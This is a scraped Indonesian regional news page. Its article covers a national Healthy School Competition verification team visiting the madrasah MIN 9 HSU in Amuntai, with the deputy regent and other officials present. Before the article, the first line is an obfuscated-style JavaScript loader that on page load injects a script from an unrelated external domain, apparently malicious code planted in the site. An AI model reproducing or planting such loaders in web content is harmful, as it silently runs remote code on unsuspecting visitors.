(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Setelah Agustus lalu menerima kunjungan tim penilai lomba sekolah sehat nasional, Madrasah Ibtidaiyah Negeri (MIN) 9 HSU kembali menerima tim verifikasi Lomba Sekolah Sehat (LSS) tingkat Nasional, Selasa (24/9).
Kedatangan tim verifikasi LSS didampingi Wakil Bupati HSU Husairi Abdi, bersama Camat Amuntai Tengah, Kepala Desa Harus, Kepala Sekolah MIN 9, dan karyawan. Terpilihnya MIN 9 menjadi perwakilan HSU dalam LSS tingkat Nasional 2019 tidak terlepas dari pembinaan Wakil Bupati Husairi Abdi, selaku ketuanya.
Menurut Ketua LSS Zulkifli, kegiatan ini adalah tindak lanjut verifikasi dari tim sebelumnya. Tujuannya mengecek kekurangan dari catatan tim yang harus dilengkapi dan disempurnakan untuk menentukan hasil final dari penilaian lomba. “Setelah kami verifikasi di MIN HSU hampir semuanya sudah terpenuhi sesuai dengan standart yang diharapkan. Kkhsusnya dari sarana prasana dan juga karakter, apa yang menjadi catatan dari penilaian tahap pertama sudah ditindak lanjuti pihak madrasah,” ujar Zulkifli.
Ia juga mengatakan, pada lomba tahun ini ada 3 kategori lomba yang diadakan yang berbeda dari tahun sebelumnya yang cuma 2 kategori saja. Yakni best performence, best achivment, dan kategori best attitude.
“Karena ini sekolah madrasah ada tambahan mata pelajaran agama, diharapkan melalui pendekatan itu karakter anak anak yang sudah dibangun tersebut bisa lebih baik lagi dari waktu ke waktu” harap Zulkifli.
Sementara Wakil Bupati Husairi Abdi yang juga Ketua Pembina UKS HSU mengatakan, UKS di wilayahnya dari tahun ke tahun selalu mendapatkan apresiasi dari pusat. Selain dirinya juga mengapresiasi MIN 9 yang akan mengikuti LSS mewakili kabupaten. “Meskipun kebanyakan masyarakat di sini adalah petani tapi kegiatan UKS ini betul betul didukung oleh masyarakat,” ujar Husairi.
Ia juga menambahkan, setelah dilakukan penilaian pertama dengan catatan yang masih ada kurang harus dilengkapi, di penilaian kedua ini semua kekurangan di penilaian sebelum nya sudah dilaksanakan para sekolah dan masyarakat. “Diharapkan sekolah ini menjadi contoh dan sebagai model, sekolah yang berada di kampung tetapi mendapatkan apresiasi dari nasional,” tutupnya.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
This website uses cookies.